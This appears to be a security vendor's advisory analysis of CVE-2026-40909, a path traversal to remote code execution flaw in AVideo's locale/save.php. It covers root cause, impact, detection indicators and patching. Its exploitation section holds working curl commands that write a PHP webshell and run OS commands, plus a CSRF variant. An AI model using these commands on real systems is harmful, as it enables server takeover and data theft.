CVE-2026-40909: 
PHP vulnerability analysis and mitigation

CVE-2026-40909 is a path traversal vulnerability in WWBN AVideo, an open source video platform, that enables authenticated administrators (or unauthenticated attackers via CSRF) to write arbitrary PHP files to any writable location on the server filesystem, achieving Remote Code Execution (RCE). It affects AVideo versions 29.0 and prior. The vulnerability was published on April 21, 2026, and a fix was committed shortly after. It carries a CVSS v3.1 base score of 8.7 (High) per the GitHub Security Advisory, with an alternative NVD score of 6.5 (Medium) (GitHub Advisory).

The root cause is CWE-22 (Path Traversal): in locale/save.php, the $_POST['flag'] parameter is concatenated directly into a file path at line 30 without any call to basename(), realpath(), or filtering of ../ sequences, and the $_POST['code'] parameter is written verbatim to that path via fwrite() at line 40. A flag value such as ../../webshell resolves to {systemRootPath}locale/../../webshell.php, escaping the locale/ directory and writing to a web-accessible parent directory. Compounding the issue, the endpoint performs no CSRF token validation and session cookies are configured with SameSite=None, allowing any attacker who can lure an admin to a malicious page to trigger the write without direct credentials. A proof-of-concept exploit using curl and a CSRF HTML form is publicly documented in the official advisory (GitHub Advisory).

Successful exploitation allows an attacker to write arbitrary PHP webshells to any writable, web-accessible directory on the server, resulting in full Remote Code Execution as the web server process user (e.g., www-data). This grants the attacker the ability to read and modify the database, access all user data, pivot to internal services, and potentially escalate privileges on the host. The CSRF-to-RCE chain significantly expands the attack surface beyond admin-only exploitation, effectively enabling unauthenticated RCE against any AVideo instance whose admin can be socially engineered (GitHub Advisory).

A proof-of-concept exploit is publicly available in the official GitHub Security Advisory, including specific curl commands and a ready-to-use CSRF HTML payload. The EPSS score is approximately 0.001 (0.1%), indicating currently low predicted exploitation probability. There is no evidence of active in-the-wild exploitation or CISA KEV catalog listing at this time. The vulnerability is not listed as exploited in the wild, but the public PoC and the CSRF-to-RCE chain lower the effective barrier for exploitation (GitHub Advisory).

1. Reconnaissance: Identify internet-facing WWBN AVideo instances running version 29.0 or earlier using search engines or web scanners.
2. Obtain admin session (direct path): Authenticate to the AVideo instance as an administrator and capture the PHPSESSID session cookie.
3. Send malicious POST request: Use curl to POST to https://target/locale/save.php with the traversal payload:

   curl -b 'PHPSESSID=<admin_session>' -X POST 'https://target/locale/save.php' \
     -d 'flag=../../webshell&code=<?php system($_GET["c"]); ?>'

   The flag=../../webshell value causes the file to be written as webshell.php in the web-accessible parent directory.
4. Execute commands via webshell: Access the written webshell to execute arbitrary OS commands:

   curl 'https://target/webshell.php?c=id'
   # Response: uid=33(www-data) gid=33(www-data) ...

5. CSRF variant (no admin credentials needed): Host a malicious HTML page containing a form that auto-submits a POST to https://target/locale/save.php with the traversal payload, then lure an authenticated admin to visit the page. Because no CSRF token is validated and cookies use SameSite=None, the admin's browser will send the request with valid credentials, writing the webshell.
6. Post-exploitation: Use the webshell to read database credentials, exfiltrate user data, establish a reverse shell, or pivot to internal services (GitHub Advisory).

• Network: Unexpected HTTP POST requests to /locale/save.php containing ../ sequences or unusual values in the flag parameter; outbound connections from the web server to unknown external IPs following such requests.
• File System: Presence of unexpected .php files outside the locale/ directory (e.g., in the web root or parent directories) with names not matching legitimate locale files; files containing <?php system( or similar webshell patterns.
• Logs: Web server access logs showing POST requests to /locale/save.php with flag values containing .. or path separators; HTTP 200 responses to newly created .php files in unexpected directories; GET requests to newly created PHP files with query parameters like ?c= or ?cmd=.
• Process: Unusual child processes spawned by the PHP/web server process (e.g., id, whoami, bash, curl, wget) shortly after suspicious POST requests to save.php (GitHub Advisory).

Apply the fix introduced in commit 57f89ffbc27d37c9d9dd727212334846e78ac21a, which adds global CSRF token validation to locale/save.php and sanitizes the flag parameter using basename() combined with a strict alphanumeric allowlist (/[^a-zA-Z0-9_\-]/). Until the patch is applied, administrators should restrict access to locale/save.php via web server configuration (e.g., IP allowlisting) and set session cookies to SameSite=Strict or SameSite=Lax. Additionally, file write permissions to the locale/ directory should be tightened to prevent writes to parent directories (GitHub Advisory, Patch Commit).